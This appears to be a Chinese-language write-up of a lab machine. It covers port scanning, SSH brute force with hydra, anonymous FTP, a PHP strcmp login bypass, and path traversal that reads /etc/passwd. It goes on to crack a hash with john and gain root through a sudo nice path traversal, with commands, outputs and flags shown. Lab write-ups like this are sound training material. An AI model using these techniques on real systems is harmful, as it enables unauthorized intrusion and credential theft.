getwebshell
: ftp
读取登录处源码 → 绕过登录限制 → 发现文件读取 → 读取用户加密密码 → john
爆破密码 → ssh
账号密码登录
提 权 思 路
: sudo
文件发现 → nice
目录穿越提权
192.168.45.194
192.168.203.101
sudo nmap --min-rate 10000 -p- 192.168.203.101
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2112/tcp open kip
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,2112 192.168.203.101
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open ftp ProFTPD
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1
# 搜索对应脚本
msf6 → searchsploit OpenSSH 8.2p1
无
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.203.101 -v
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.203.101 -p 22
# 密码尝试
password → root
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.101 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
这边ftp端口改到了2112
通过nmap
探测获得FTP
的版本信息,可以大致推测FTP的配置文件位置
namp
探测版本为ProFTPD
# ProFTPD是开源软件,一般文件位置如下
/etc/proftpd/proftpd.conf
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.203.101 -p 2112
Name: anonymous
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# get 下载文件
ftp → get welcome.msg
ftp → get index.php.bak
测试是否可以利用PUT
上传文件
# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp → put text.txt
welcome.msg
里面没什么信息
index.php.bak
文件像是源码信息,表述的是login
登录
访问 http://192.168.203.101:80
不是CMS
我们直接从HTML
隐藏信息收集开始
# 包括文章中是否写明一些敏感信息
# curl http://192.168.203.101:80
Potato company
<h1>Potato company</h1>
<p>At the moment, there is nothing. This site is under construction. To make you wait, here is a photo of a potato:</p>
<img src="potato.jpg">
Potato company
可能是关键词
dirsearch -u http://192.168.203.101:80 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
访问该端点是一处很简陋的账号登陆
发现存在登录端点时尝试的最佳实践指南
admin
admin
没用 唔
想到了之前从ftp
中获得的源码,可能有一定的关联
在代码中账号是接受POST
传参的username
,值必须是admin
,正好和logs
中得到的用户名信息对应上
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! br> Go to the <a href="dashboard.php">dashboarda>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! br> Return to the <a href="index.php">login pagea> <p>";
}
exit();
}
在登录的代码用了strcmp
进行对比,如果相同返回0不相同返回非0
只要我们输入的密码和预设的$pass
相同就可以成功登录
网上冲浪得到的结果尝试将密码变为数组输入为1个数引发爆破
确定是POST
传参之后,利用burp
尝试构造
发现功能点存在文件读取的功能
尝试是否可以构造成目录穿越,通过观察url
以及查看传参抓包确认修改POST
后缀添加尝试失败file=log_01.txt/../../../../../etc/passwd
去掉了log
发现成功文件读取
得到用户名与密码webadmin
:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
通常来说/etc/passwd
文件之中密码是x
,读到了完整的密码不简单
首先将密码保存成文本,尝试爆破
echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' → pass.hash
利用john
爆破获取密码
john pass.hash
得到密码为dragon
获取账号密码之后利用SSH进行登录
sudo ssh webadmin @192.168.203.101 -p22
password → dragon
webadmin @serv:~$ find / -name local.txt 2→/dev/null
/home/webadmin/local.txt
webadmin @serv:~$ cat /home/webadmin/local.txt
9374543a8c1147e45e8799cc8f4732ec
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
webadmin @serv:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal
发行版本为Ubuntu 20.04
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
webadmin @serv:~$ uname -a
Linux serv 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
内核版本为5.4.0-42
webadmin @serv:~$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
webadmin @serv:~$ sudo -l
[sudo] password for webadmin:
Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*
发现需要密码,输入dragon
发现内容
(ALL : ALL) /bin/nice /notes/*
发现的内容说明在/notes/
文件下任意内容都可以sudo
执行nice
webadmin @serv:/notes$ echo '/bin/sh -p' → /notes/shell
-bash: /notes/shell.sh: Permission denied
发现该目录下没有权限,换了一个思路
找到可以执行的目录写入
cd /tmp
echo '/bin/sh -p' → shell
cat shell
chmod +x shell
尝试利用目录穿越绕过sudo
的限制
webadmin @serv:/tmp$ /bin/nice /notes/../../tmp/shell
$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
$
提权没有成功,思考问题
webadmin @serv:/tmp$ sudo /bin/nice /notes/../../tmp/shell
[sudo] password for webadmin:
# id
uid=0(root) gid=0(root) groups=0(root)
#
权限提升成功
# cat /root/proof.txt
6d57642f1ea9a70324050997c3b2aa7e
完结撒花~
权限提升的时候忘记加sudo
有点离谱